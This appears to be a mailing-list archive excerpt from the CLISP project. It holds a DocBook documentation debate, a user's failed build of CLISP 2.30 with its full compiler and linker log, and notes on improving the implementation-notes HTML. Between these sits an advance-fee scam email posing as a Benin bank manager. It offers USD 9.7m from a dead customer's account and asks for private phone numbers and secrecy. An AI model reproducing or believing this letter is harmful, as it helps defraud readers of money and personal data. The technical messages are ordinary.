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> * In message <Pine.GSO.4.44.0305231526510.17368-100000@kekkonen.cs.hut.fi>
> * On the subject of "Re: [clisp-list] working on Implementations Notes layout"
> * Sent on Fri, 23 May 2003 15:32:47 +0300 (EEST)
> * Honorable Nikodemus Siivola <tsiivola@cc.hut.fi> writes:
>
> Just a datapoint: I had some notes lying about clarifying the Impnotes
> about modules and FFI, but never got around to doing it, because I never
> found the energy to learn DocBook.

would you rather learn an entirely new, CLISP-specific, syntax and
semantics (instead of a fairly well known XML syntax and a rather widely
used DocBook semantics)?

> IMHO DocBook is not exactly a barrier-lowerer, unless you happen to
> know it already.

many people know and use it already and more are willing to learn it
because of that.

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On 23 May 2003, Sam Steingold wrote:

> would you rather learn an entirely new, CLISP-specific, syntax and
> semantics (instead of a fairly well known XML syntax and a rather widely
> used DocBook semantics)?

Nope, you're quite right there. Ideally I'd like a format I can edit with a
reasonable degree of confidence by "just guessing" and looking at the
existing text. DocBook *almost* does that, but not quite.

But as I said, that was just a datapoint. The lowest barrier of entry would
probably be provided by plaintext, I guess -- but that's not really an
option...

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> * In message <Pine.GSO.4.44.0305231727270.23332-100000@kekkonen.cs.hut.fi>
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> The lowest barrier of entry would probably be provided by plaintext, I
> guess -- but that's not really an option...

It is.

if your change is _small_ __AND__ _important_, you can just send a
plain text version and I will add markup myself.

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Attn my friend=2C

Compliments of the season=2E It is indeed my pleasure to write to you 
this letter=2C which I believe will be a suprise=2C as we are both complete 
strangers=2E I am Mr Abaku Kwame=2C the manager=2C credit and foreign bills of 
Arab bank Plc=2CBenin=2E I am writing in respect of a foreign customer 
of my bank with account number 14-255-2004 who perished in 
Egyptian Air Flight with the whole passengers aboard on 31st oct 1999=2E
Since the demise of this our customer=2CI personally has watched
with keen interest to see the next of kin but all has proved abortive 
as no one has come to claim his funds of USD$9=2E7m =5BNine million seven 
hundred thousand united states dollars=5D which has been with my branch for 
a very long time=2E

On this note=2C I decided to seek for whom his name shall be used as the 
next of kin as no one has come up as his relation=2E And the country law 
here does not allow such money to stay more than Five years=2Cfor the 
money will be recalled to the government treasury as unclaimed after this 
period=2E
Upon the receipt of your response=2C I will send to you the application=2C 
bank's contact and the next step to take=2E 

I will not fail to bring to your notice that this business is hitch 
free and that you should not entertain any fear as all modalities for fund 
transfer can be finalized within five banking days=2C after you apply to 
the bank as a relation to the deceased=2E

When you receive this letter=2E Kindly send me an e-mail signifying
your decision=2EIncluding your private Tel=2FFax numbers for quick 
communication=2E

I will be very happy if you can treat this business with the utmost 
secrecy it demands because of my position in this bank=2E


Hoping for a very successful business relationship with you=2E 


Respectfully submitted=2C

Mr Abaku Kwame=2E
Tel=3A00229601483=2E

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Dear Mr. Haible<br>
&nbsp;&nbsp;&nbsp; I'm an italian student interested in Linguistics and Computer
Science, so I have downloaded some versions of your Common Lisp
interpreter. My trouble is that I was'nt able to install if from the
source. With the RPM package, working in Red Hat 8 and 9, no problems,
while neither in RH nor in Debian I can compile the sources. All goes OK
until the step<br>
<tt>&nbsp;&nbsp;&nbsp; $ make lisp.run<br>
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which I have attached. Why? <br>
&nbsp;&nbsp;&nbsp; I thank you very much for your work and for your patience.<br>
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libtool: install: warning: remember to run `libtool --finish /usr/local/lib'
In file included from spvw.d:22:
lispbibl.d:7183: warning: register used for two global register variables
spvw.d: In function `main':
spvw.d:1688: warning: variable `argv_memneed' might be clobbered by `longjmp' or `vfork'
In file included from spvwtabf.d:5:
lispbibl.d:7183: warning: register used for two global register variables
In file included from spvwtabs.d:5:
lispbibl.d:7183: warning: register used for two global register variables
In file included from spvwtabo.d:5:
lispbibl.d:7183: warning: register used for two global register variables
In file included from eval.d:6:
lispbibl.d:7183: warning: register used for two global register variables
eval.d: In function `invoke_handlers':
eval.d:628: warning: variable `other_ranges' might be clobbered by `longjmp' or `vfork'
eval.d:631: warning: variable `FRAME' might be clobbered by `longjmp' or `vfork'
eval.d:643: warning: variable `i' might be clobbered by `longjmp' or `vfork'
eval.d: In function `funcall_iclosure':
eval.d:2444: warning: argument `closure' might be clobbered by `longjmp' or `vfork'
eval.d:2445: warning: argument `args_pointer' might be clobbered by `longjmp' or `vfork'
eval.d:2446: warning: argument `argcount' might be clobbered by `longjmp' or `vfork'
eval.d: In function `eval':
eval.d:2943: warning: argument `form' might be clobbered by `longjmp' or `vfork'
eval.d: In function `eval_no_hooks':
eval.d:3000: warning: argument `form' might be clobbered by `longjmp' or `vfork'
eval.d: In function `interpret_bytecode_':
eval.d:5947: warning: variable `byteptr' might be clobbered by `longjmp' or `vfork'
eval.d:5956: warning: variable `closureptr' might be clobbered by `longjmp' or `vfork'
eval.d:5936: warning: argument `closure' might be clobbered by `longjmp' or `vfork'
eval.d:5937: warning: argument `codeptr' might be clobbered by `longjmp' or `vfork'
In file included from control.d:4:
lispbibl.d:7183: warning: register used for two global register variables
control.d: In function `C_tagbody':
control.d:1671: warning: variable `body' might be clobbered by `longjmp' or `vfork'
In file included from encoding.d:5:
lispbibl.d:7183: warning: register used for two global register variables
encoding.d: In function `nls_range':
encoding.d:1602: warning: `i1' might be used uninitialized in this function
encoding.d:1603: warning: `i2' might be used uninitialized in this function
In file included from pathname.d:7:
lispbibl.d:7183: warning: register used for two global register variables
pathname.d: In function `parse_logical_word':
pathname.d:1585: warning: `ch' might be used uninitialized in this function
In file included from stream.d:8:
lispbibl.d:7183: warning: register used for two global register variables
stream.d: In function `iconv_range':
stream.d:3981: warning: `i1' might be used uninitialized in this function
stream.d:3982: warning: `i2' might be used uninitialized in this function
In file included from socket.d:44:
lispbibl.d:7183: warning: register used for two global register variables
In file included from io.d:7:
lispbibl.d:7183: warning: register used for two global register variables
io.d: In function `C_bit_vector_reader':
io.d:3379: warning: `ch' might be used uninitialized in this function
io.d: In function `C_vector_reader':
io.d:3464: warning: `el' might be used uninitialized in this function
In file included from array.d:4:
lispbibl.d:7183: warning: register used for two global register variables
array.d: In function `C_make_array':
array.d:5069: warning: `fillpointer' might be used uninitialized in this function
array.d: In function `C_adjust_array':
array.d:5361: warning: `fillpointer' might be used uninitialized in this function
In file included from hashtabl.d:6:
lispbibl.d:7183: warning: register used for two global register variables
In file included from list.d:7:
lispbibl.d:7183: warning: register used for two global register variables
In file included from package.d:6:
lispbibl.d:7183: warning: register used for two global register variables
In file included from record.d:6:
lispbibl.d:7183: warning: register used for two global register variables
In file included from sequence.d:5:
lispbibl.d:7183: warning: register used for two global register variables
In file included from charstrg.d:5:
lispbibl.d:7183: warning: register used for two global register variables
In file included from debug.d:6:
lispbibl.d:7183: warning: register used for two global register variables
In file included from error.d:9:
lispbibl.d:7183: warning: register used for two global register variables
In file included from misc.d:4:
lispbibl.d:7183: warning: register used for two global register variables
In file included from time.d:5:
lispbibl.d:7183: warning: register used for two global register variables
In file included from predtype.d:4:
lispbibl.d:7183: warning: register used for two global register variables
In file included from symbol.d:4:
lispbibl.d:7183: warning: register used for two global register variables
In file included from lisparit.d:5:
lispbibl.d:7183: warning: register used for two global register variables
In file included from i18n.d:5:
lispbibl.d:7183: warning: register used for two global register variables
libtool: install: warning: remember to run `libtool --finish /usr/local/lib'
libtool: install: warning: remember to run `libtool --finish /usr/local/lib'
In file included from foreign.d:5:
lispbibl.d:7183: warning: register used for two global register variables
foreign.d: In function `do_va_start':
foreign.d:3119: warning: left-hand operand of comma expression has no effect
foreign.d:3121: warning: left-hand operand of comma expression has no effect
In file included from unixaux.d:5:
lispbibl.d:7183: warning: register used for two global register variables
In file included from genclisph.d:6:
lispbibl.d:7183: warning: register used for two global register variables
In file included from modules.d:11:
clisp.h:442: warning: register used for two global register variables
spvw.o: In function `update_linelength':
spvw.o(.text+0xdf9): undefined reference to `tgetent'
spvw.o(.text+0xe0e): undefined reference to `tgetnum'
stream.o: In function `make_keyboard_stream':
stream.o(.text+0xadc2): undefined reference to `tgetent'
stream.o(.text+0xadf4): undefined reference to `tgetstr'
stream.o(.text+0xae56): undefined reference to `tgetstr'
stream.o(.text+0xaeb6): undefined reference to `tgetstr'
stream.o(.text+0xaf16): undefined reference to `tgetstr'
stream.o(.text+0xafba): undefined reference to `tgetstr'
stream.o(.text+0xb05e): more undefined references to `tgetstr' follow
stream.o: In function `out_capstring':
stream.o(.text+0xc443): undefined reference to `tputs'
stream.o: In function `out_cap1string':
stream.o(.text+0xc470): undefined reference to `tgoto'
stream.o(.text+0xc479): undefined reference to `tputs'
stream.o: In function `cap_cost':
stream.o(.text+0xc4ad): undefined reference to `tputs'
stream.o: In function `gofromto':
stream.o(.text+0xc8d7): undefined reference to `tgoto'
stream.o(.text+0xc9c6): undefined reference to `tgoto'
stream.o: In function `insert_line':
stream.o(.text+0xd15e): undefined reference to `tgoto'
stream.o(.text+0xd1a9): undefined reference to `tgoto'
stream.o: In function `delete_line':
stream.o(.text+0xd2c1): undefined reference to `tgoto'
stream.o(.text+0xd30c): more undefined references to `tgoto' follow
stream.o: In function `init_term':
stream.o(.text+0xd42d): undefined reference to `tgetent'
stream.o(.text+0xd46d): undefined reference to `tgetnum'
stream.o(.text+0xd490): undefined reference to `tgetnum'
stream.o(.text+0xd4b3): undefined reference to `tgetflag'
stream.o(.text+0xd4db): undefined reference to `tgetflag'
stream.o(.text+0xd509): undefined reference to `tgetflag'
stream.o(.text+0xd536): undefined reference to `tgetstr'
stream.o(.text+0xd56e): undefined reference to `tgetstr'
stream.o(.text+0xd59b): undefined reference to `tgetflag'
stream.o(.text+0xd5ad): undefined reference to `tgetflag'
stream.o(.text+0xd5d0): undefined reference to `tgetstr'
stream.o(.text+0xd5e7): undefined reference to `tgetstr'
stream.o(.text+0xd601): undefined reference to `tgetstr'
stream.o(.text+0xd61a): undefined reference to `tgetflag'
stream.o(.text+0xd633): undefined reference to `tgetstr'
stream.o(.text+0xd658): undefined reference to `tgetstr'
stream.o(.text+0xd680): undefined reference to `tgetstr'
stream.o(.text+0xd6a8): undefined reference to `tgetstr'
stream.o(.text+0xd6d0): undefined reference to `tgetstr'
stream.o(.text+0xd6e7): more undefined references to `tgetstr' follow
stream.o: In function `init_term':
stream.o(.text+0xd713): undefined reference to `tgetnum'
stream.o(.text+0xd727): undefined reference to `tgetnum'
stream.o(.text+0xd79f): undefined reference to `tgetstr'
stream.o(.text+0xd7b6): undefined reference to `tgetstr'
stream.o(.text+0xd7d0): undefined reference to `tgetstr'
stream.o(.text+0xd7e7): undefined reference to `tgetstr'
stream.o(.text+0xd822): undefined reference to `tgetstr'
stream.o(.text+0xd839): more undefined references to `tgetstr' follow
stream.o: In function `init_term':
stream.o(.text+0xda3d): undefined reference to `tgetflag'
stream.o: In function `init_curr':
stream.o(.text+0xdcf6): undefined reference to `tgoto'
collect2: ld returned 1 exit status
make: *** [lisp.run] Error 1

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sed -e 's/@''HAVE__BOOL''@/0/g' < stdbool.h.in > stdbool.h
builddir="`pwd`"; cd libcharset && make && make install-lib libdir="$builddir" includedir="$builddir"
make[1]: Entering directory `/usr/local/clisp-2.30/src/libcharset'
cd lib && make all
make[2]: Entering directory `/usr/local/clisp-2.30/src/libcharset/lib'
make[2]: Nothing to be done for `all'.
make[2]: Leaving directory `/usr/local/clisp-2.30/src/libcharset/lib'
make[1]: Leaving directory `/usr/local/clisp-2.30/src/libcharset'
make[1]: Entering directory `/usr/local/clisp-2.30/src/libcharset'
cd lib && make all
make[2]: Entering directory `/usr/local/clisp-2.30/src/libcharset/lib'
make[2]: Nothing to be done for `all'.
make[2]: Leaving directory `/usr/local/clisp-2.30/src/libcharset/lib'
cd lib && make install-lib libdir='/usr/local/clisp-2.30/src' includedir='/usr/local/clisp-2.30/src'
make[2]: Entering directory `/usr/local/clisp-2.30/src/libcharset/lib'
/bin/sh ../../../libcharset/lib/../autoconf/mkinstalldirs /usr/local/clisp-2.30/src
/bin/sh ../libtool --mode=install /usr/bin/install -c -m 644 libcharset.la /usr/local/clisp-2.30/src/libcharset.la
/usr/bin/install -c -m 644 .libs/libcharset.so.1.0.0 /usr/local/clisp-2.30/src/libcharset.so.1.0.0
(cd /usr/local/clisp-2.30/src && rm -f libcharset.so.1 && ln -s libcharset.so.1.0.0 libcharset.so.1)
(cd /usr/local/clisp-2.30/src && rm -f libcharset.so && ln -s libcharset.so.1.0.0 libcharset.so)
/usr/bin/install -c -m 644 .libs/libcharset.lai /usr/local/clisp-2.30/src/libcharset.la
/usr/bin/install -c -m 644 .libs/libcharset.a /usr/local/clisp-2.30/src/libcharset.a
ranlib /usr/local/clisp-2.30/src/libcharset.a
chmod 644 /usr/local/clisp-2.30/src/libcharset.a
test -f /usr/local/clisp-2.30/src/charset.alias && orig=/usr/local/clisp-2.30/src/charset.alias \
                                || orig=charset.alias; \
sed -f ref-add.sed $orig > /usr/local/clisp-2.30/src/t-charset.alias; \
/usr/bin/install -c -m 644 /usr/local/clisp-2.30/src/t-charset.alias /usr/local/clisp-2.30/src/charset.alias; \
rm -f /usr/local/clisp-2.30/src/t-charset.alias
make[2]: Leaving directory `/usr/local/clisp-2.30/src/libcharset/lib'
/bin/sh ../../libcharset/autoconf/mkinstalldirs /usr/local/clisp-2.30/src
/usr/bin/install -c -m 644 include/libcharset.h /usr/local/clisp-2.30/src/libcharset.h
make[1]: Leaving directory `/usr/local/clisp-2.30/src/libcharset'
gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type  -fomit-frame-pointer -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI -I. -c spvw.c
gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type  -fomit-frame-pointer -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI -I. -c spvwtabf.c
gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type  -fomit-frame-pointer -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI -I. -c spvwtabs.c
gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type  -fomit-frame-pointer -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI -I. -c spvwtabo.c
gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type  -fomit-frame-pointer -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI -I. -c eval.c
gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type  -fomit-frame-pointer -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI -I. -c control.c
gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type  -fomit-frame-pointer -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI -I. -c encoding.c
gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type  -fomit-frame-pointer -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI -I. -c pathname.c
gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type  -fomit-frame-pointer -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI -I. -c stream.c
gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type  -fomit-frame-pointer -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI -I. -c socket.c
gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type  -fomit-frame-pointer -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI -I. -c io.c
gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type  -fomit-frame-pointer -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI -I. -c array.c
gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type  -fomit-frame-pointer -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI -I. -c hashtabl.c
gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type  -fomit-frame-pointer -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI -I. -c list.c
gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type  -fomit-frame-pointer -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI -I. -c package.c
gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type  -fomit-frame-pointer -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI -I. -c record.c
gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type  -fomit-frame-pointer -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI -I. -c sequence.c
gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type  -fomit-frame-pointer -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI -I. -c charstrg.c
gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type  -fomit-frame-pointer -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI -I. -c debug.c
gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type  -fomit-frame-pointer -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI -I. -c error.c
gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type  -fomit-frame-pointer -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI -I. -c misc.c
gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type  -fomit-frame-pointer -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI -I. -c time.c
gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type  -fomit-frame-pointer -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI -I. -c predtype.c
gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type  -fomit-frame-pointer -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI -I. -c symbol.c
gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type  -fomit-frame-pointer -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI -I. -c lisparit.c
gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type  -fomit-frame-pointer -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI -I. -c i18n.c
builddir="`pwd`"; cd avcall && make && make check && make install-lib libdir="$builddir" includedir="$builddir"
make[1]: Entering directory `/usr/local/clisp-2.30/src/avcall'
make[1]: Nothing to be done for `all'.
make[1]: Leaving directory `/usr/local/clisp-2.30/src/avcall'
make[1]: Entering directory `/usr/local/clisp-2.30/src/avcall'
./minitests > minitests.out
uniq -u < minitests.out > minitests.output.i686-pc-linux-gnu
test '!' -s minitests.output.i686-pc-linux-gnu
make[1]: Leaving directory `/usr/local/clisp-2.30/src/avcall'
make[1]: Entering directory `/usr/local/clisp-2.30/src/avcall'
if [ ! -d /usr/local/clisp-2.30/src ] ; then mkdir /usr/local/clisp-2.30/src ; fi
/bin/sh ./libtool --mode=install /usr/bin/install -c -m 644 libavcall.la /usr/local/clisp-2.30/src/libavcall.la
/usr/bin/install -c -m 644 .libs/libavcall.lai /usr/local/clisp-2.30/src/libavcall.la
/usr/bin/install -c -m 644 .libs/libavcall.a /usr/local/clisp-2.30/src/libavcall.a
ranlib /usr/local/clisp-2.30/src/libavcall.a
chmod 644 /usr/local/clisp-2.30/src/libavcall.a
if [ ! -d /usr/local/clisp-2.30/src ] ; then mkdir /usr/local/clisp-2.30/src ; fi
/usr/bin/install -c -m 644 avcall.h /usr/local/clisp-2.30/src/avcall.h
make[1]: Leaving directory `/usr/local/clisp-2.30/src/avcall'
builddir="`pwd`"; cd callback && make && make check && make install-lib libdir="$builddir" includedir="$builddir"
make[1]: Entering directory `/usr/local/clisp-2.30/src/callback'
cd vacall_r; make all
make[2]: Entering directory `/usr/local/clisp-2.30/src/callback/vacall_r'
make[2]: Nothing to be done for `all'.
make[2]: Leaving directory `/usr/local/clisp-2.30/src/callback/vacall_r'
cd trampoline_r; make all
make[2]: Entering directory `/usr/local/clisp-2.30/src/callback/trampoline_r'
make[2]: Nothing to be done for `all'.
make[2]: Leaving directory `/usr/local/clisp-2.30/src/callback/trampoline_r'
make[1]: Leaving directory `/usr/local/clisp-2.30/src/callback'
make[1]: Entering directory `/usr/local/clisp-2.30/src/callback'
cd vacall_r; make all
make[2]: Entering directory `/usr/local/clisp-2.30/src/callback/vacall_r'
make[2]: Nothing to be done for `all'.
make[2]: Leaving directory `/usr/local/clisp-2.30/src/callback/vacall_r'
cd trampoline_r; make all
make[2]: Entering directory `/usr/local/clisp-2.30/src/callback/trampoline_r'
make[2]: Nothing to be done for `all'.
make[2]: Leaving directory `/usr/local/clisp-2.30/src/callback/trampoline_r'
cd vacall_r; make check
make[2]: Entering directory `/usr/local/clisp-2.30/src/callback/vacall_r'
make[2]: Nothing to be done for `check'.
make[2]: Leaving directory `/usr/local/clisp-2.30/src/callback/vacall_r'
cd trampoline_r; make check
make[2]: Entering directory `/usr/local/clisp-2.30/src/callback/trampoline_r'
./test1
Works, test1 passed.
./test2
test2 passed.
touch tests.passed.i686-pc-linux-gnu
make[2]: Leaving directory `/usr/local/clisp-2.30/src/callback/trampoline_r'
./minitests > minitests.out
uniq -u < minitests.out > minitests.output.i686-pc-linux-gnu
test '!' -s minitests.output.i686-pc-linux-gnu
make[1]: Leaving directory `/usr/local/clisp-2.30/src/callback'
make[1]: Entering directory `/usr/local/clisp-2.30/src/callback'
cd vacall_r; make all
make[2]: Entering directory `/usr/local/clisp-2.30/src/callback/vacall_r'
make[2]: Nothing to be done for `all'.
make[2]: Leaving directory `/usr/local/clisp-2.30/src/callback/vacall_r'
cd trampoline_r; make all
make[2]: Entering directory `/usr/local/clisp-2.30/src/callback/trampoline_r'
make[2]: Nothing to be done for `all'.
make[2]: Leaving directory `/usr/local/clisp-2.30/src/callback/trampoline_r'
cd vacall_r; make install-lib libdir='/usr/local/clisp-2.30/src' includedir='/usr/local/clisp-2.30/src'
make[2]: Entering directory `/usr/local/clisp-2.30/src/callback/vacall_r'
if [ ! -d /usr/local/clisp-2.30/src ] ; then mkdir /usr/local/clisp-2.30/src ; fi
/usr/bin/install -c -m 644 vacall_r.h /usr/local/clisp-2.30/src/vacall_r.h
make[2]: Leaving directory `/usr/local/clisp-2.30/src/callback/vacall_r'
cd trampoline_r; make install-lib libdir='/usr/local/clisp-2.30/src' includedir='/usr/local/clisp-2.30/src'
make[2]: Entering directory `/usr/local/clisp-2.30/src/callback/trampoline_r'
if [ ! -d /usr/local/clisp-2.30/src ] ; then mkdir /usr/local/clisp-2.30/src ; fi
/usr/bin/install -c -m 644 trampoline_r.h /usr/local/clisp-2.30/src/trampoline_r.h
make[2]: Leaving directory `/usr/local/clisp-2.30/src/callback/trampoline_r'
if [ ! -d /usr/local/clisp-2.30/src ] ; then mkdir /usr/local/clisp-2.30/src ; fi
/bin/sh ./libtool --mode=install /usr/bin/install -c -m 644 libcallback.la /usr/local/clisp-2.30/src/libcallback.la
/usr/bin/install -c -m 644 .libs/libcallback.lai /usr/local/clisp-2.30/src/libcallback.la
/usr/bin/install -c -m 644 .libs/libcallback.a /usr/local/clisp-2.30/src/libcallback.a
ranlib /usr/local/clisp-2.30/src/libcallback.a
chmod 644 /usr/local/clisp-2.30/src/libcallback.a
if [ ! -d /usr/local/clisp-2.30/src ] ; then mkdir /usr/local/clisp-2.30/src ; fi
/usr/bin/install -c -m 644 callback.h /usr/local/clisp-2.30/src/callback.h
make[1]: Leaving directory `/usr/local/clisp-2.30/src/callback'
gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type  -fomit-frame-pointer -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI -I. -c foreign.c
gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type  -fomit-frame-pointer -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI -I. -c unixaux.c
gcc -E ari80386.c | grep -v '^#' > ari80386.s
gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type  -fomit-frame-pointer -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI -I. -x assembler -c ari80386.s
gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type  -fomit-frame-pointer -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI -I. -O0 -c genclisph.c
gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type  -fomit-frame-pointer -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI -I. -x none genclisph.o -o genclisph
(echo '#ifndef _CLISP_H' ; echo '#define _CLISP_H' ; echo ; grep '^#' unixconf.h ; echo ; grep '^#' intparam.h ; echo ; ./genclisph ; echo ; echo '#endif /* _CLISP_H */') > clisp.h
rm -f genclisph
gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type  -fomit-frame-pointer -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI -I. -c modules.c
if test -d locale; then rm -rf locale; fi
mkdir locale
(cd po && make && make install datadir=.. localedir='$(datadir)/locale' INSTALL_DATA=ln) || (rm -rf locale ; exit 1)
make[1]: Entering directory `/usr/local/clisp-2.30/src/po'
make[1]: Nothing to be done for `all'.
make[1]: Leaving directory `/usr/local/clisp-2.30/src/po'
make[1]: Entering directory `/usr/local/clisp-2.30/src/po'
installing en.gmo as ../locale/en/LC_MESSAGES/clisp.mo
installing clisplow_en.gmo as ../locale/en/LC_MESSAGES/clisplow.mo
installing de.gmo as ../locale/de/LC_MESSAGES/clisp.mo
installing clisplow_de.gmo as ../locale/de/LC_MESSAGES/clisplow.mo
installing fr.gmo as ../locale/fr/LC_MESSAGES/clisp.mo
installing clisplow_fr.gmo as ../locale/fr/LC_MESSAGES/clisplow.mo
installing es.gmo as ../locale/es/LC_MESSAGES/clisp.mo
installing clisplow_es.gmo as ../locale/es/LC_MESSAGES/clisplow.mo
installing nl.gmo as ../locale/nl/LC_MESSAGES/clisp.mo
installing clisplow_nl.gmo as ../locale/nl/LC_MESSAGES/clisplow.mo
installing ru.gmo as ../locale/ru/LC_MESSAGES/clisp.mo
installing clisplow_ru.gmo as ../locale/ru/LC_MESSAGES/clisplow.mo
make[1]: Leaving directory `/usr/local/clisp-2.30/src/po'
rm -rf data
mkdir data
cd data && ln -s ../../utils/unicode/ftp.unicode.org/UnicodeData.txt .
cd data && ln -s ../../src/clhs.txt .
gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type  -fomit-frame-pointer -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI -I. -x none spvw.o spvwtabf.o spvwtabs.o spvwtabo.o eval.o control.o encoding.o pathname.o stream.o socket.o io.o array.o hashtabl.o list.o package.o record.o sequence.o charstrg.o debug.o error.o misc.o time.o predtype.o symbol.o lisparit.o i18n.o foreign.o unixaux.o ari80386.o modules.o libcharset.a libavcall.a libcallback.a  -ldl /usr/local/lib/libiconv.so -Wl,-rpath -Wl,/usr/local/lib /usr/local/lib/libsigsegv.a -lc -o lisp.run

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"Hoehle, Joerg-Cyril" schrieb:
> So instead of improving mechanically generated HTML, I believe the only viable way is to change the transformation of XML (Docbook) into HTML. ...

> I fear that you wasted some time working on .html. You'll probably have to learn about DSL, e.g. see doc/impnotes.dsl, which influences how impnotes.XML gets translated into impnotes.HTML, or you propose another way of turning docbook XML into html. I never looked into dsl myself. I still have to learn docbook (and still am no friend, to say the least, of the verbosity of XML and thus docbook).

Aha. Now xml is like ??? for me, so I began to look around. First I read
some docs and this leads me to some questions.
ie: why using xml when sitting on an interpreter? or is it possible to
use the xml component svg (scalable vector graphics) and draw some lines
via a browser with cl? or what needs more time: to learn xml and do a
workthrough in docbooks or replace some details with a nice editor? hm.

Next I found some older zip files (01.03.00) named db152, db3x317,
dbx106, docbk31 and the imp-xml. Extracting this and take a closer look
- hey is that also generated stuff? (it looks like).
Anyway. I think I finished what I start (work inside the impnotes.html).
Meanwhile I have a look to learn something about creating dtds.

> Sam added .css file to the distribution (or put it in all clisp.cons directories where it was needed, I don't remember exactly) when I reported that problem here. So people can either
> o download this .css file from where they found impnotes.html
> o disable CSS (works in Netscape for me).

Ok. Thanks, found 2 css files. I write 3 lines into the head-section of
the html. Nice: I set all link text to size:11pt; (default is 12pt) and
text-decoration:none;. This removes the line under the link and the
mostly capital link-letters are a bit smaller (all links have different
color, thats enough). Now it is better readable (for me).

> (defun change-impnotes-clhs-references (impnotes-file clhs-url) #)
Great. Thats what I keep in mind.



---- Please check out: 
in section 1.4 in the overview ... 6 symbols missing ...(out of 978...)
is this number still ok? Or remove the number, otherwise update it every
time a new symbol is added.

on some places there is -td align="left"-, this is a default value and
can be removed. (maybe some exotic browsers need this?)

nearly 20 times there is the string '::=='. This is hardly visible in
the defaul font (Arial?). Also the ':' is not clearly in the text. For
my case I changed to the courier font, this looks ok (but there seems to
be a bug in Netscape 4.x: after every table-tag with -width="xx"- the
